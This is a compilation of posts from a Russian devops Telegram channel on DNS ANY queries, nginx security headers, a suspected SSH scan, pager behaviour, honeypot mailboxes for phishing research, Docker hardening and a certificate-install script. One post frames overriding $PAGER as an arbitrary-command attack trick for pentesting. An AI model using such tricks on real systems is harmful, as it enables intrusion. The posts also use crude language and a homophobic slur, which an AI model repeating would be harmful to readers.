В DNS есть такая прикольная штука, как ANY запрос, его суть — выдать тебе сразу все DNS записи по нужному домену.

Запрос вида:

dig chklst.ru ANY


Я встречал много Bash скриптов, которые на этом запросе завязаны, да чё греха таить, вчера буквально обратился товарищ (малваря-аналитик) с запросом — всё пропало, не работает, ааааа!!!

dig chklst.ru ANY

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
; EDE: 21 (Not Supported): (Type ANY Queries not supported here, RFC8482)
;; QUESTION SECTION:


Хотя раньше всё работало из коробки и Bash скрипты вели себя предсказуемо. Но опять же, в зависимости от DNS сервера, результаты могли разница. Тебе могли отдать данные, которые в предыдущем запросе были совсем другими.

Логично. Провайдеры рано или поздно приходят к этому, начинают блокировать подобные запросы. Всё это связано с дидос атаками. Погоды эти ANY запросы не делают, но создают большую проблему и головную боль. Основная проблема — DDoS amplification.

Самый адекватный способ борьбы с этим — отключить всё нахуй и поломать возможный вектор атаки. Короче непредсказуемость ANY запроса это плохая практика. Запрос ANY никогда не был стандартизирован - «как получить всё».

Читать продолжение: https://two.su/dzg0a

🛠 #security #devops

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
39
Твой сайт — решето! Или как не обосраться

Недавно я показывал тебе как настроить свой собственный поисковый движок на SearXNG, ну так вот, нашел на просторах агрегатора, который собирает такие публичные поисковики в табличку. И по сути можно на чужих серверах устроить себе полноценный поиск по интернету.

Ссылка: https://searx.space/

Зачем? Ну к примеру нужно тебе что-то быстро анонимно поискать, а своё детище поднимать в хуй не упёрлось. Открываешь такой публичный поисковик и ебешь его в хвост и в гриву. Но естественно не забываем предварительно включить КВН или соксы.

Для браузеров есть пиздатые плагины: Zero Omega и FoxyProxy.

Я пользуюсь первым, как-то более интуитивно понятно правила настраиваются, в отличие от второго. Но тут больше вкусовщина, возможно ты оверхед монстр и спокойно стихи на регулярках перед сном читаешь своему ребенку.


СТОП! Яж про другое…

Пойдем дальше, на этом сайте я увидел рейтинги настройки серверов и вспомнил, когда я 100 лет назад поднимал инстанс с собственным mastodon сервером, я упарывался в безопасность и прям активно соблюдал эти рейтинги. Потом это всё забылось и сегодня решил проверить свой основной блог и мягко говоря прихуел.

Мой социальный рейтинг по SSL был на уровне «D» — да вы батенька не девопс-инженер, вы пидор ебаный!

Дела, дела! Надо это исправлять.

Чё значит этот рейтинг?

Сервис Mozilla Observatory смотрит не на код приложения, а на то, насколько правильно настроен твой сервер и заголовки безопасности.

A / A+ = всё настроено пиздато
B / C = терпимо, но ты все равно долбаёб
D / F = хуйня, переделать, серьёзные дыры, почти нет защиты


Кстати опять же пентестеры активно применяют это в своей работе, чтобы быстренько проверить безопасность конфигурации и по возможности найти лазейку к твоему шоколадному бекенду с последующим проникновением без вазелина.

Если кратко — это линтер безопасности, а рейтинг всего лишь сводная оценка качества настроек и твоих компетенций.

Основные категории проверки:

1. HTTP-заголовки безопасности
2. HTTPS и TLS
3. Cookies
4. Защита от известных атак

Хули, давай это исправим, мне пришлось добавить такое в свою конфигурацию, чтобы добить рейтинг в более-менее вменяемую зону и получить заветную букву «B». Чтобы получить «A» мне придется немного перекроить работу с javascript, но пока мне лень.

Собственно конфиг:

add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' https:; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; frame-src 'self' https://video.bashdays.ru https://xn--r1a.website; connect-src 'self' https://api.rss2json.com https://bashdayz.ru;" always;

add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;

add_header X-Frame-Options "SAMEORIGIN" always;

add_header X-Content-Type-Options "nosniff" always;

add_header Referrer-Policy "strict-origin-when-cross-origin" always;


Это защита от XSS атак и внедрения чужого контента. Я прописал доверенные сайты с которыми работаю. Но узкой дыркой осталось «unsafe-inline», с помощью него я разрешил inline JS, чтобы мои статусы из mastodon корректно передавались. Вот эту штуку и нужно будет допилить, чтобы получить по ебалу рейтинг «A+».

Всегда используй протокол https, включая поддомены.

Предоставляет защиту от clickjacking, разрешает вставку сайта в iframe только с того же домена, но у меня уже это прописано в первом заголовке. Похуй, оставляем. Кстати он уже устаревший, но все еще используется.

Запрещает браузеру угадывать тип файла, например сервер отдал JS как text/plain, браузер мог бы «догадаться» и выполнить. Теперь хуй, ничего не выполнит.

Контролирует, что отправляется в Referer, хороший баланс приватности и аналитики.

Если подытожить, получаем — грузи ресурсы только отсюда, не доверяй подозрительной хуйне, всегда используй https и не давай сайту быть встроенным куда попало.

На этом собственно и всё, можешь пойти и проверить свои компетенции в настройке.

Поделись в комментах своим социальным рейтингом, хоть позавидуем.

🛠 #security #devops

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
44
Массовый SSH‑скан в своей Wi‑Fi сети

🔤🔤🔤🔤🔤🔤🔤

Всем привет.

Недавно, на одном соседнем канале, в комментах, один коллега пожаловался, что у него на маршрутизаторе есть исходящий трафик на порт 22 (ssh). И я решил проверить, а все ли у меня в порядке?

Поставил логирование по интерфейсу wan1 исходящего TCP на порт назначения 22. И я к своему ужасу обнаружил, что из подсети wi-fi прет такой трафик.

Начал расследование. Когда увидел количество - волосы зашевелились не только на голове. Оказалось, что фактически идет сканирование (у одного исходящего ip в течении 1-2 секунд 5 разных ip назначения).

Количество «зараженных» смартфонов ~70% !!!

У меня opnSense. wi-fi и локалка разделены. А всем, у кого дома или на работе бюджетные маршрутизаторы - пионерский привет.

Кстати, на opnSense лог фильтра /var/log/filter/latest.log и соседние.

Первым делом запретил по wan все порты назначения, кроме типовых (web, mail, dns, ntp, webrtc).

К сожалению, на периметре нельзя увидеть, какое приложение шлет пакеты. Пришлось разбираться со смартфонами. Взял один для примера.

Поставил PCAPdroid, и обнаружил, что фигней страдает не max, а whatsapp. Причем не каждый, а только 70%. К слову сказать, что у всех айтишников телефоны были чистые. Проблемы наблюдались и на android и на ios.

Вышел на руководство с предложением, написать скрипт для полного отлучения «зараженных» смартфонов от wi-fi. А руководство отказало. Предположения причин отказа прошу ванговать в комментах. Думаю вы уже догадались...

Блокировать отдельные проги может программа NetGuard (root не нужен). Но к сожалению она жрет батарею.

В общем, пока остановился на разрешенных портах для исходящих соединений. Если есть другие предложения - я готов выслушать. Может кто-то уже решал данную проблему.

PS: На тестовом «зараженном» телефоне, стоял бесплатный антивирус на букву К. Стоял и молчал.

Всем работы без багов.

🛠 #security #workflow

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
40
Тайна вызова Less в Linux утилитах

Привет ребят. Ща покопаемся в неочевидных вещах, залезем так сказать под капот.

Знаешь же такую команду:

git log


Тут всё просто, она выводит историю коммитов. И что примечательно, в конце будет пагинация (pager). Смотри картинку 1.

А теперь пойдем неочевидной дорожкой и выполним:

sudo mv /usr/bin/less /usr/bin/less.bak 


Ну и снова запустим git log: Смотри картинку 2.

Хуяк и нет больше пагинации. Сразу вывалилась простыня. О чем это говорит? А говорит это о том, что git использует внешнюю утилиту less при выводе истории коммитов, причем делает это по умолчанию.

Но если less накрылся пиздой, git сразу вывалит простыню без пагинации. Забавно! Давай подключим strace и подтвердим этот факт, запускаем:

strace -f -e execve git log


И видим картину маслом: Смотри картинку 3

Ага, запускается less, а теперь снова перемещаем less и смотрим выхлоп strace: Смотри картинку 4

Вот и прекрасно, словили ошибку error: cannot run less: No such file or directory. Но ожидаемый результат все равно получили.

Если выполнить команду echo $PAGER, то увидим, какая утилита будет использоваться для пагинации. По умолчанию less, но раз есть переменная, её можно переопределить. Давай попробуем это сделать.

apt install lolcat
export PAGER="lolcat"
git log


Иииии ебать копать: Смотри картинку 5.

Кстати не только git завязан на переменную $PAGER, такое же поведение ты можешь увидеть у утилит: man, systemctl, journalctl и т.п. Всё что работает с пагинацией, использует переменную $PAGER.

Ну и на закуску:

export PAGER="vim -"
man ls


Команда man ls будет выполнена в vim. То есть получается что любая программа, доверяющая $PAGER, фактически запускает произвольную команду пользователя.

А это уже еще один вектор атаки из арсенала пентестеров, о котором никто не рассказывает. Так что бери на вооружение, глядишь сгодится при прохождении очередного HackBox’а.

🛠 #security #linux

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
344
Меня пытаются взломать!

Всю неделю злые письки с «загнивающего запада» пытаются завладеть моей почтой. Я даже не представляю как такое возможно провернуть, я и сам с большим трудом вхожу в свой аккаунт, особенно «нравятся» приседания с аппаратным ключом и ошибками — что-то пошло не так, обратитесь к администратору.

Блядь! Я и есть администратор!

Если кто-то взломает, пришлите мне пожалуйста мой актуальный пароль, а то я как лох сижу и боюсь проебать сессию.

Вчера на телефоне пришлось входить с помощью резервных кодов, NFC видимо из принципа не работал. Звезды не в той фазе или магнитные бури, а может быть GrapheneOS решила меня от чего-то защитить.


Ну ладно, всегда были желающие, но 99% таких писем попадают в спам. Сейчас на рынке мало кто способен провести подобное мероприятие, причём грамотно.

Сегодня расскажу как мы работали с такими «пенетраторами» и обучали нашу корпоративную систему на обнаружение подобной шляпы.

Всё было довольно просто. В бородатые времена активно развивались различные андеграунд форумы (эксплоит.ин, античат и т.п.), сейчас молодежь кличат их общим словом — даркнет.

К андеграунд сцене и её участникам я отношусь с почтением, можно сказать я познавал кишки линукса именно там.


На таких площадках товарищи ежедневно размещали объявления о своих услугах. В том числе по лому почтовых ящиков. Были даже целые сервисы, которые за большие деньги гарантировали успешность мероприятия.

На этом и играли. Предоплату обычно никто не просил, потому что гарантий рядовые исполнители никогда не давали, оплата только по результату. Чтобы убедиться что результат есть, нужно было отправить на заказанный ящик письмо с кодовым словом и это кодовое слово исполнитель должен был тебе назвать.

Схемы, темки. Ага. Сейчас конечно такое давно уже не работает, почтовые сервисы тоже не дураки, даже условный evilginx не так просто протолкнуть, да чё юлить, его не каждый осилит, очень много нюансов.

Ну дак вот. Чтобы от чего-то защищаться, нужно знать с чем и как нападают. А чтобы это узнать, нужно провести аналитику, разобрать фишинговые письма, прошерстить все ссылки и нюансы работы. Так и делали.

А откуда мы брали эти письма на анализ? Вот в этом и была простота. Регистрируется 100500 ящиков, сейчас наверное такое провернуть сложно, но раньше были авторегеры и т.п. утилиты. Эти ящики раскидывались на владельцев сервисов по лому и единичных исполнителей. Ну и затем собирался урожай.

А зачем нужны ханипоты? Вот например для этого и нужны. Чтобы заранее спиздить актуальный вектор атаки и защититься от него. Этакая работа на опережение.


На новые ящики пачками падали письма с заманухами, кто во что горазд. Ну а затем отдел аналитики разгребал всю эту подноготную и обучал систему для предотвращения вторжений. Этакий всратый вирустотал, который собирает экземпляры вредоносов и затем пополняет свою базу детекта.

Да, правильные пароли от ящиков тоже вводились, чтобы посмотреть, как будет происходить захват. Что изменят, как закрепятся и т.п. Но обычно дальше получения пароля и проверки на вход, ничего не происходило.

Потому что каждое изменение (например пересылка писем) сопутствовалась красной вплывающей плашкой — вы установили адрес пересылки. Естественно владелец ящика такое бы сразу спалил.

Сейчас с этим еще сложнее, на любой чих приходит уведомление, поэтому этот вектор атаки сейчас очень сложный и дорогой. Очень много нюансов. Большинство дохнет на первом рубеже, обойти папку Спам.

А если привязан аппаратный ключ, то пиши пропало. Рынок по таким услугам успешно загнулся, по крайней мере в пабликах такого почти не встретишь.

Хуй знает зачем тебе эта информация, наверное посыл лишь один — если у тебя нет каких-то данных, ты можешь проявить хитрость и раздобыть их, причем бесплатно.

Так что не пренебрегай «гуглением», на все вопросы уже есть ответы, а если не нашел, то значит хуёва искал.

🛠 #security #рабочиебудни

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
52
Безопасность Docker контейнеров

Я тут написал огромный пост про безопасность Docker контейнеров.

Разобрал, как нормально прикручивать security_opt, cap_drop, read_only, pids_limit, лимиты CPU/RAM, запуск не от root, seccomp, network_mode и почему privileged:true это не «чтобы заработало», а потенциальная дыра в жопе.

Без абстрактной душнины, зато с примерами, командами для проверки и объяснением, что именно ломается или защищается каждым параметром.

Если работаешь с Docker или хотя бы иногда пишешь композники, рекомендую почитать и ознакомиться. Там дохуя моментов, после которых захочется пойти и проверить свои контейнеры. Ну или по крайней мере будет запал на будущее, чтобы сделать всё в лучших практиках.

Читать тута: https://two.su/vnelv

🛠 #devops #security

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
266
Тут ёбнутая тема пошла, чтобы вы могли ходить на нашу апиху, нужно установить сертификаты от Минцифры.

Я долго это игнорил, пока всё к херам не сломалось.

Ошибка: cURL: SSL certificate problem: self-signed certificate in certificate chain


Да, в голову сразу пришло решение — ёбнуть SSL Ignore. Но это костыль и безопасники в жопу выебут.

Хули, пришлось разбираться. Как оказалось Angie и nginx трогать не надо и всё решается на уровне дистрибутива. У меня убунты старенькие торчат в продах, поэтому затачивал под них. Но смысл не меняется и можешь подкрутить под свои дистрибутивы.

Чтобы 100500 команд не вводить, сделал всё одной командой, запускаешь из консольки и всё сразу работает, без костылей и нападок на твой задний проход со стороны ИБешкников. Даже в скрипт сохранять не нужно.

Установка РФ-сертификатов:

(
set -e

cert_tmp="$(mktemp -d)"
trap 'rm -rf "$cert_tmp"' EXIT

curl -fsSL \
https://gu-st.ru/content/Other/doc/russian_trusted_root_ca.cer \
-o "$cert_tmp/root.crt"

curl -fsSL \
https://gu-st.ru/content/Other/doc/russian_trusted_sub_ca.cer \
-o "$cert_tmp/sub.crt"

openssl x509 -in "$cert_tmp/root.crt" -noout -subject |
grep -Fq "Russian Trusted Root CA"

openssl x509 -in "$cert_tmp/sub.crt" -noout -subject |
grep -Fq "Russian Trusted Sub CA"

root_fingerprint="$(
openssl x509 -in "$cert_tmp/root.crt" -noout -fingerprint -sha1 |
cut -d= -f2 |
tr -d ':'
)"

test "$root_fingerprint" = "8FF915CCAB7BC16F8C5C8099D53E0E115B3AEC2F"

openssl verify \
-CAfile "$cert_tmp/root.crt" \
"$cert_tmp/sub.crt"

install -m 0644 "$cert_tmp/root.crt" \
/usr/local/share/ca-certificates/russian_trusted_root_ca.crt

install -m 0644 "$cert_tmp/sub.crt" \
/usr/local/share/ca-certificates/russian_trusted_sub_ca.crt

update-ca-certificates

curl -fsSvo /dev/null https://business.t-bank-app.ru/
)


Ну и всё, если в куче мусора увидел — SSL certificate verify ok, значит всё прошло успешно. Перезапускаешь свои пыхи или чё там у тебя и можно дальше не париться.

Такие дела. Изучай.

🛠 #devops #security #bash

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
385